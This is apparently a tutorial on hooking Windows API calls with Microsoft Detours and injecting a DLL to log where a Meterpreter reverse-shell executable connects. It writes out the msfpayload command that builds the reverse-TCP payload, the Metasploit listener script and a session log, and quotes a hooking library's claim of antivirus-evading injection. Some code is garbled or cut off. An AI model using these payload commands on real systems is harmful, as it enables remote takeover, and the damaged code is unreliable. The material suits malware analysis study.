The first thing we must do is download and install the Detours package, which will be installed in the C:Program FilesMicrosoft ResearchDetours Express 3.0 directory. After that we need to open the Visual Studio Command Prompt and execute vcvarsall.bat script. This can be shown in the picture below: In the same command prompt, we need to change the directory to the Detours directory C:Program FilesMicrosoft ResearchDetours Express 3.0 and run the nmake command to build the Detours libraries, tools and samples. When the nmake is done compiling, Detours is finally installed. But we still need to tell the Visual Studio where to find Detours libraries when trying to use it in a project. When creating a new project we need to access the Properties of each project and add paths to the Detours library. First we need to open Properties – Configuration Properties – C/C++ and properly configure the Additional Include Directories configuration variable. We should add a path to the C:Program FilesMicrosoft ResearchDetours Express 3.0include directory in there as can be seen in the picture below: Additionally, we also need to put the C:Program FilesMicrosoft ResearchDetours Express 3.0lib directory under the Properties – Configuration Properties – Linker into the Additional Library Directories. This can be seen in the picture below:
The project is now configured to be able to use Detours, but as we will later see, we will still need to copy some of the files to the project’s source directory. Let’s leave it at that for now.
We should also be aware of the fact that the Detours directory contains a Detours Help HTML file that contains the basic howto guide for Detours. This help page provides the following information:
Detours is most commonly used to intercept Win32 APIs calls within an application, such as to add debugging instrumentation. Interception code is applied dynamically at runtime. Detours replaces the first few instructions of the target function with an unconditional jump to the user-provided detour function. Instructions from the target function are placed in a trampoline. The address of the trampoline is placed in a target pointer. The detour function can either replace the target function or extend its semantics by invoking the target function as a subroutine through the target pointer to the trampoline.
The Detours library intercepts function calls at runtime, so we don’t need to replace the DLLs with the new ones, but we’re only modifying the memory of the process we would like to analyze.
The picture below is taken from the Detours help page and presents the difference between invoking the function without and with interception. On the first part of the picture we can see that we’re calling the target function from the source function. In normal scenarios the source function calls the target function, which does something and then returns to the source function; there’s nothing special there. But on the second part of the picture we can see what happens when we’re intercepting the call to target function from the source function. In that case, the source function calls the detour function, which can do something and then return to the source function or call the trampoline function, which further calls the target function without interception. The target function then does something and returns control to the detour function that in turn passes control to the source function.
We should be aware of the various techniques we can use to hook certain function. The techniques are the following:
- Overwriting the Address of a Function
- Modifying the Import Address Table (IAT)
- Using Proxy DLLs
- API Hooking through Drivers in Kernel Address Space We won’t go into to much detail about the techniques; the reader can use Google and read more about them on the Internet.
Meterpreter
In this example we’ll use a reverse Meterpreter executable to gain total access over the computer. First we need to create the reverse Meterpreter executable, which we can do with the command below. [bash] # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 X > meterpreter.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: {“LPORT”=>”4444”, “LHOST”=>”192.168.1.133”} [/bash] We used the msfpayload command and instructed it to use the windows/meterpreter/reverse_tcp payload to connect back to the IP 192.168.1.133 on port 4444. The output of the msfpayload command is a meterpreter.exe executable, which spawns a new Meterpreter shell when we run it (of course we must be listening for the Meterpreter connection on the IP address 192.168.1.133 on port 4444). To open port 4444 on the 192.168.1.133 machine and listen for the incoming Meterpreter session, we need to create a new script meterpreter.rb with the following contents: [plain] use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 4444 set LHOST 0.0.0.0 set ExitOnSession false exploit -j -z [/plain] We need to run the above script to actually open the required port on the required IP address. To do that, we can execute the command below: [bash] # msfconsole4.2 -r /root/meterpreter.rb [/bash] If we run the meterpreter executable from the victim virtual machine now, it should successfully connect to the 192.168.1.133:4444. The next step is figuring out which functions does the meterpreter.exe executable actually run to get the job done. To figure that out, we need to install Visual Studio Express and run the Visual Studio Command Prompt, which looks like the picture below:
In the Visual Studio Command Prompt we can run a tool named dumpbin, which can display the imported and exported symbols of the executable. In this case we’re interested in imported symbols of the executable, which will give us a reasonable overview of which functions the meterpreter.exe executable actually calls. Below is the output of the “dumpbin /IMPORTS meterpreter.exe” command: [plain] File Type: EXECUTABLE IMAGE Section contains the following imports: MSVCRT.dll 40C0C8 Import Address Table 40C8AC Import Name Table 0 time date stamp 0 Index of first forwarder reference 113 _iob CA _except_handler3 81 __set_app_type 6F __p__fmode 6A __p__commode 9D _adjust_fdiv 83 __setusermatherr 10F _initterm 58 __getmainargs 64 __p___initenv 48 _XcptFilter D3 _exit 186 _onexit 55 __dllonexit 2C3 strrchr 2E8 wcsncmp B3 _close 2E6 wcslen 2E3 wcscpy 2BC strerror 29B modf 2C4 strspn 2A7 realloc 6D __p__environ 7A __p__wenviron C8 _errno 25E free 2C0 strncmp 2C5 strstr 2C1 strncpy F1 _ftol 2A4 qsort 257 fopen 29C perror 24C fclose 24F fflush 240 calloc 291 malloc 2AF signal 29E printf 115 _isctype 23D atoi 249 exit 61 __mb_cur_max 18E _pctype 2B7 strchr 258 fprintf B7 _controlfp 1BF _strdup 1C5 _strnicmp KERNEL32.dll 40C00C Import Address Table 40C7F0 Import Name Table 0 time date stamp 0 Index of first forwarder reference 287 PeekNamedPipe 2AB ReadFile 397 WriteFile 248 LoadLibraryA 198 GetProcAddress 1DF GetVersionExA 152 GetExitCodeProcess 351 TerminateProcess 247 LeaveCriticalSection 30B SetEvent 2B8 ReleaseMutex 8F EnterCriticalSection 7A DeleteCriticalSection 219 InitializeCriticalSection 5A CreateMutexA 15E GetFileType 31D SetLastError EE FreeEnvironmentStringsW 14F GetEnvironmentStringsW 1F5 GlobalFree 109 GetCommandLineW 356 TlsAlloc 357 TlsFree 8C DuplicateHandle 13A GetCurrentProcess 31A SetHandleInformation 2E CloseHandle 1C0 GetSystemTimeAsFileTime BC FileTimeToSystemTime 1D8 GetTimeZoneInformation BB FileTimeToLocalFileTime 34E SystemTimeToFileTime 34F SystemTimeToTzSpecificLocalTime 349 Sleep EA FormatMessageA 169 GetLastError 385 WaitForSingleObject 49 CreateEventA 32C SetStdHandle 310 SetFilePointer 4D CreateFileA 50 CreateFileW 18C GetOverlappedResult 83 DeviceIoControl 15A GetFileInformationByHandle 252 LocalFree ADVAPI32.dll 40C000 Import Address Table 40C7E4 Import Name Table 0 time date stamp 0 Index of first forwarder reference E1 FreeSid 1D AllocateAndInitializeSid WSOCK32.dll 40C1A0 Import Address Table 40C984 Import Name Table 0 time date stamp 0 Index of first forwarder reference Ordinal 7 Ordinal 4 Ordinal 9 Ordinal 52 Ordinal 14 Ordinal 12 Ordinal 21 Ordinal 23 Ordinal 3 Ordinal 18 Ordinal 10 Ordinal 151 Ordinal 115 Ordinal 116 Ordinal 111 WS2_32.dll 40C194 Import Address Table 40C978 Import Name Table 0 time date stamp 0 Index of first forwarder reference 34 WSARecv 39 WSASend Summary 8000 .data 1000 .rdata 1000 .rsrc B000 .text [/plain] We can see that the meterpreter.exe executable uses the following DLLs to do its job: MSVCRT.dll, KERNEL32.dll, ADVAPI32.dll, WSOCK32.dll and WS2_32.dll. Those DLL libraries contain the functions the meterpreter uses to download and execute the secondary shellcode from the 192.168.1.133:4444. The above output also presents all the functions being used in a specific DLL library. In our example we’ll try to hook the connect function and overload it, so that we’ll save the IP address and PORT being used to some file on the filesystem. This way, we can always know exactly where the meterpreter.exe executable is connecting. First we need to locate the function which actually connects to the specified IP address 192.168.1.133 and port 4444 to determine which function we need to hook. We know from experience that the meterpreter.exe executable should call the function connect in the ws2_32.dll library to connect to the target machine. But that function is not listed under the WS2_32.dll library, only the WSARecv and WSASend are listed. So, what is going on, why is the function not listed in the dumpbin output? To answer this question we must talk about static/dynamic execution and compile-time/run-time linking. This is because the operating system figures that out when running the meterpreter executable and it doesn’t need to know in advance. We can use PE Explorer to view the ws2_32.dll library. The export table of that library can be seen in the picture below. We can see the entry points, their ordinals and the names of the functions. We can see that the function connect uses the ordinal 4 and starts at address 0x71AB4A07. Therefore the Ordinal 4 entry from the dumpbin actually refers to the connect function.
To check whether the meterpreter.exe executable actually uses the connect function to connect to the server, we can set a breakpoint on the address 0x71AB4A07, which is exactly the function’s entry point. The picture below represents the whole connect function residing at the address 0x71AB4A07. We’ve loaded the meterpreter.exe executable with Immunity Debugger, went to the connect function, set a breakpoint and taken a screenshot. If we take a better look at the picture, we can see that the first line is colored with the bright blue color, which indicates the presence of a breakpoint being set. After that, we can run the meterpreter.exe executable and observe if the breakpoint is even hit. We can soon figure out that the breakpoint is indeed being hit and there is no communication before it. At the entry point of the connection function we can step through the function to figure out the exact call, which connects to the server. But at that point our research is over, since we can prove that it’s the connect function which is being used to connect to the server. In this section we have figured that we want to hook the connect function from the ws2_32.dll library. In that function we then want to open a file handler to some file on the filesystem and write the actual IP address and port being used. In our case this will be 192.168.1.133:4444. Besides writing the IP address and port number being used by the socket in some file, we also want to continue executing the old connect function, so that the meterpreter.exe executable will actually spawn a Meterpreter session. If we don’t continue with the execution, then only the IP address and port number the executable is supposed to connect to will be saved into some file on the filesystem, but the executable won’t actually connect to the server and spawn a meterpreter shell. So we need to keep in mind that after saving the socket details into some file, we also want to continue the execution of the default connection function. In the next step we’ll create the project, which will be used as the basis for hooking the connect function.
Creating a new project
We should use Visual Studio to create a new Detours project. To do that we need to open Visual Studio Express and select File – New – Project and select Win32 Console Application. When creating a new project, the Visual Studio shall look as the picture below:
We named the new project detours. When we click OK, we’ll have to click through the wizard guide. Remember to select a DLL Application Type not the default Console Application. The configuration wizard must look like the picture below:
When pressing the Finish button, the project will be created. There will be two header files named stdafx.h and targetver.h and three source files named: detours.cpp, dllmain.cpp and stdafx.cpp. The initial project will look like the picture below:
After the creation of the project, we need to copy a certain file from the Detours installation directory to the current project. This file is detours.h, which needs to be present in the current project, since we must include it in the dllmain.cpp source file. The dllmain.cpp is the main source file we’ll be editing and is the file that will contain the source code of our DLL library. The current dllmain.cpp source file contains the code presented below: [cpp] // dllmain.cpp : Defines the entry point for the DLL application. #include “stdafx.h” BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } [/cpp] The dllmain.cpp defines the entry point for the DLL library we’ll be using (it says in the comment at the top of the dllmain.cpp file). When the DllMain() function starts it decides what to do based on the reason for calling it. The DLL can be called for four reasons: when attaching a DLL, when attaching a thread, when detaching a thread and when detaching a process. We need to create the prototype of the function we want to override. To do that we must create a prototype exactly as it can be found in the Microsoft MSDN on the msdn website. We must also create the detour function, which will be executed upon calling the hooked function. To do that, we must change the dllmain.cpp and configure the hooks to be installed when the process loads our DLL. It’s also a good idea to configure the detachment of hooks to clean up after ourselves. We can configure the hooks with the DetourAttach and DetourDetech functions. The prototype of the DetourAttach function is as follows: [plain] LONG DetourAttach(PVOID * ppPointer, PVOID pDetour ); [/plain] The DetourAttach takes two parameters. The first parameter is a pointer to a pointer, which points to the hooked function. The second parameter is a pointer that will be called instead of the hooked function. The DetourAttach function actually hooks the function, so the pDetour function is executed instead of ppPointer function. Before we can call the DetourAttach function, we must first initiate the detouring with the code below: [cpp] DetourTransactionBegin() DetourUpdateThread(GetCurrentThread()) [/cpp] This will initiate the detour transaction and update the current thread. After the detouring, we must also call the DetourTransactionCommit to commit the detour to the thread. In our case we’ll hook the connect function from ws2_32.dll. In this function we’ll add the functionality that will save the IP and port of the target where it is connecting to before passing the control to the actual connect function. We must ensure that the detour function will have the same prototype as the original function. The prototype of the original function is as follows:
Therefore the pointer to this function must look like what is presented in the code below:
[cpp] int (WINAPI dconnect)(SOCKET, const struct sockaddr, int) = connect; [/cpp]
What we’re doing is setting the pointer with a name dconnect, which points to the function connect. We’re using the WINAPI because the functions are using the __stdcall calling convention. We also need to provide the prototype of the function that will hook the connect function. The prototype of the function can be seen below:
[cpp] int WINAPI myconnect(SOCKET s, const struct sockaddr *name, int namelen); [/cpp]
Again, the myconnect function takes exactly the same parameters as the original connect function.
The attaching/detaching of the connect function is done in the DllMain function, which is represented in the code below. We already described what the code below means, so we won’t do that again. Let’s just say that when we’re attaching the function, the DLL_PROCESS_ATTACH is run and when detaching the function the DLL_PROCESS_DETACH is being run.
[cpp] BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)dconnect, myconnect); DetourTransactionCommit(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)dconnect, myconnect); DetourTransactionCommit(); break; } return TRUE; } [/cpp]
In the code above we’re declaring that when attaching a DLL to a process we need to first call the DetourTransactionBegin followed by the DetourUpdateThread. Then we’re actually attaching our myconnect function to the dconnect pointer. Since the dconnect pointer is pointing at the connect function, we’re effectively overwriting the address of the connect function. So whenever the connect function is called, the pointer will actually point to the myconnect function, which will be run instead of the original connect function. At the end we’re calling DetourTransactionCommit to actually commit the previous detour calls to the current thread. We’re doing the same in the DLL_PROCESS_DETACH, except that we’re detaching the function instead of attaching it.
In the end we must also declare the dconnect function; right now all we have is the function prototype, but we also need to provide the code of the function to define what the function will be doing when being run. The myconnect function can look something like the code below:
[cpp] int WINAPI myconnect(SOCKET s, const struct sockaddr name, int namelen) { FILE file; fopen_s(&file, “C:meterpreter.txt”, “a+”); SOCKADDR_IN name_in = (SOCKADDR_IN)name; fprintf(file, “%s : %dn”, inet_ntoa(name_in->sin_addr), ntohs(name_in->sin_port)); fclose(file); return dconnect(s, name, namelen); } [/cpp]
In the code above we’re initializing a new file handle named file of a type FILE and assigning a filename C:meterpreter.txt to it. The file open function call specifies that we would like to append to the file not overwrite it. After that we’re overloading the type of the variable name from the sockaddr type to the sockaddr_in type. We can convert between those two structures interchangeably without the loss of information.
We’re creating a new variabled named name_in, which is just a new representation of the same data, but has different members. We’re doing that because we want to call the sin_addr member, which is present in the sockaddr_in but not in the sockaddr structure. The same goes for sin_port. The printf function prints the current IP address and port number to the file meterpreter.txt. We’re using the inet_ntoa function to convert the sin_addr member of the sockaddr_in structure into a valid IP address that can be casted to a string. We’re also using the ntohs function to convert the sin_port member of the sockaddr_in structure into a valid port number that can be safely printed to the log file. At the end of the function, we’re calling the dconnect function which holds the address of the old connect function. That successfully calls the old connect function passing it the same arguments as the current function was called with.
To summarize: the myconnect function takes the same arguments as the original connect function. The function creates the file handle to a file C:meterpreter.log, where it writes the IP address and port number of the machine it connects to. The most important line of code is the return statements, which returns the execution back to the original function.
The whole code of the dllmain.cpp can be seen in the output below:
[cpp] #include “stdafx.h” #include “detours.h” #include
Injecting the DLL into the Process
In the previous section we’ve created the DLL that will hook our connect function. But if we run the meterpreter.exe now, it won’t load that DLL, but will load the standard DLLs in the path. We’ve already seen that it will load the following DLLs: MSVCRT.dll, KERNEL32.dll, ADVAPI32.dll, WSOCK32.dll and WS2_32.dll. When the operating system loads the executable, it searches the needed libraries in current directory first. If the required DLLs are not found there, it goes on to search in C:WINDOWSsystem32 directory and if it still hasn’t found the required DLLs, it goes through the PATH environment variable and searches each listed folder for the required DLLs. But our DLL that hooks the connect function won’t be loaded, because it isn’t listed as one of the dependencies of the meterpreter.exe executable. This is why we need to forcibly inject the DLL into the executable to hook the connect function to call the myconnect function from the DLL that in turn calls the original connect function actually connecting to the server. The first thing to do when attempting to inject a DLL is to declare whether we want to inject it into a running process or if we want to create a new process. We won’t describe how to do the first one, since we want to inject a DLL into a new process we’ll be creating. We want to inject the DLL into the meterpreter.exe before any code from the meterpreter.exe executable is actually executed. To do that we need to create a new project in Visual Studio, which will serve as a new application that will inject the DLL into the executable prior to running the executable. We must create the Win32 Console Application again as can be seen in the picture below:
We named the project injector because we’ll be injecting the DLL into a valid executable when starting it. We should create a “Console Application” and not a DLL when asked by the wizard. We can see that step being presented in the picture below:
After the creation of the project, we need to copy the detours.h and detours.lib files in the “Header Files” of the current project. In the “Source Files” there will be an injector.cpp source file with the contents shown below:
[cpp] // injector.cpp : Defines the entry point for the console application. #include “stdafx.h”
int _tmain(int argc, _TCHAR* argv[]) { return 0; } [/cpp]
This is a basic console application that doesn’t do anything, just returns zero, notifying the console that the application existed without an error. We need to copy from the DetoursInjector.cpp source code from the DetoursHooks.zip, which is accessible from the [2]. When building the project, a new executable injector.exe should be created, which takes the DLL to be injected as first argument and an executable to inject the DLL into as second argument. But there is a better way of doing this. We can simply download the DetoursHooks.zip and copy the DetoursInjector.exe to the virtual machine and run it. If we run it without arguments, it will print the help page, which looks like the output below:
[plain] >DetoursInjector.exe
Usage: DetoursInjector.exe
In the output above we can also see that the DetoursInjector.exe also printed the “initialising Socket”, “Socket created”, “connected” and “Reply received” from our example, which is a proof that our sockettest.exe is being executable successfully.
Testing the Hook DLL with Meterpreter
Our DLL worked when we used it as hooking library for the sockettest.exe that used the connect function from the ws2_32.dll library. But what about meterpreter.exe executable, will our DLL work there? We can find out by passing the meterpreter.exe executable together with our detours.dll to the DetoursInjector.exe program. The actual command it uses is presented below: [cpp] >DetoursInjector.exe detours.dll meterpreter.exe Created process PID 2438! [/cpp] We can immediately see that a new process was created when executing meterpreter.exe, which should happen. The new process is the meterpreter.exe with a hooked connect function. In the meterpreter handler on the server we can notice that the meterpreter.exe executable can actually connect to the server, download the secondary meterpreter shellcode and execute it spawning a new meterpreter session. This can be seen in the output of the meterpreter handler on the server when a client meterprete.exe executable connects to it. This can be seen in the output below: [plain] msf exploit(handler) > [] Sending stage (752128 bytes) to 192.168.1.134 [] Meterpreter session 4 opened (192.168.1.133:4444 -> 192.168.1.134:1603) [/plain] But because we’ve hooked the connect function with our DLL, the meterpreter.txt file should have a new entry. We can see the contents of the meterpreter.txt file in the picture below:
And indeed it has a new entry. We can see that the IP address and the ports are the same, which is logical since we’re connecting to the same server on the same port. We just proved that our DLL is working and can be used to hook the connect function of the meterpreter.exe executable. But we can go further than that; we can also hook the send/recv functions of the ws2_32.dll library with ease now.
We need to change the code in the dllmain.cpp into something like the code below:
[cpp] #include “stdafx.h” #include “detours.h” #include
The picture above doesn’t hold many recognizable characters, so we can be pretty sure that the actual content is indeed the secondary meterpreter shellcode.
Detours alternatives
There are also alternative libraries we can use for hooking the function. Those libraries are the following: – EasyHook – madCodeHook – Mhook – WinAPIOverride32 EasyHook is an open-source alternative that can greatly simplify the hooking process. It also has an IRC support on the server irc.freenode.net on channel #easyhook, so we can get help from the community anytime we want. The following is a list of features taken from the [4]: – A so called “Thread Deadlock Barrier” will get rid of many core problems when hooking unknown APIs; this technology is unique to EasyHook – You can write managed hook handlers for unmanaged APIs – You can use all the convenience managed code provides, like NET Remoting, WPF and WCF for example – A documented, pure unmanaged hooking API – Support for 32- and 64-bit kernel mode hooking (also check out my PatchGuard 3 bypass driver which can be found in the release list) – No resource or memory leaks are left in the target – Experimental stealth injection mechanism that won’t raise attention of any current AV Software – EasyHook32.dll and EasyHook64.dll are pure unmanaged modules and can be used without any NET framework installed! – All hooks are installed and automatically removed in a stable manner – Support for Windows Vista SP1 x64 and Windows Server 2008 SP1 x64 by utilizing totally undocumented APIs, to still allow hooking into any terminal session. – Managed/Unmanaged module stack trace inside a hook handler – Get calling managed/unmanaged module inside a hook handler – Create custom stack traces inside a hook handler – You will be able to write injection libraries and host processes compiled for AnyCPU, which will allow you to inject your code into 32- and 64-Bit processes from 64- and 32-Bit processes by using the very same assembly in all cases. – EasyHook supports RIP-relative addressing relocation for 64-Bit targets. – No unpacking/installation necessary. – The Visual Studio Redistributable is not required. We can see that the EasyHook has quite a lot of features and may be a valuable product for research and API hooking.
Conclusion
In this article we first created the meterpreter.exe executable and figured out that the connect function from ws2_32.dll is being called when connecting to the server. After that we installed the Detours and configured Visual Studio to successfully use it. We used the DetoursInjector.exe to insert the DLL into the executable. That program uses the DetourCreateProcessWithDll function to create a new process inserting the DLL into it. We created the DLL, which hooked our connect, recv and send functions in ws2_32.dll library and executed the meterpreter.exe executable. We successfully hooked those functions and executed some additional call before those functions were actually called. Thus we have shown a way to actually write an epilog of the function, which gives us the means to execute some instructions right before calling the detoured function. We should be aware of the fact that we hooked a single program, but there’s also another way of doing it: we can hook certain functions of the whole system, so that our detoured function will be called whenever certain currently running program calls the hooked function. This can be useful in some cases, but in our case this was not needed. We can read more about that and the API hooking in general in the following article: [3].
Sources
API Hooking with MS Detours Malware Cookbook API hooking revealed Easyhook
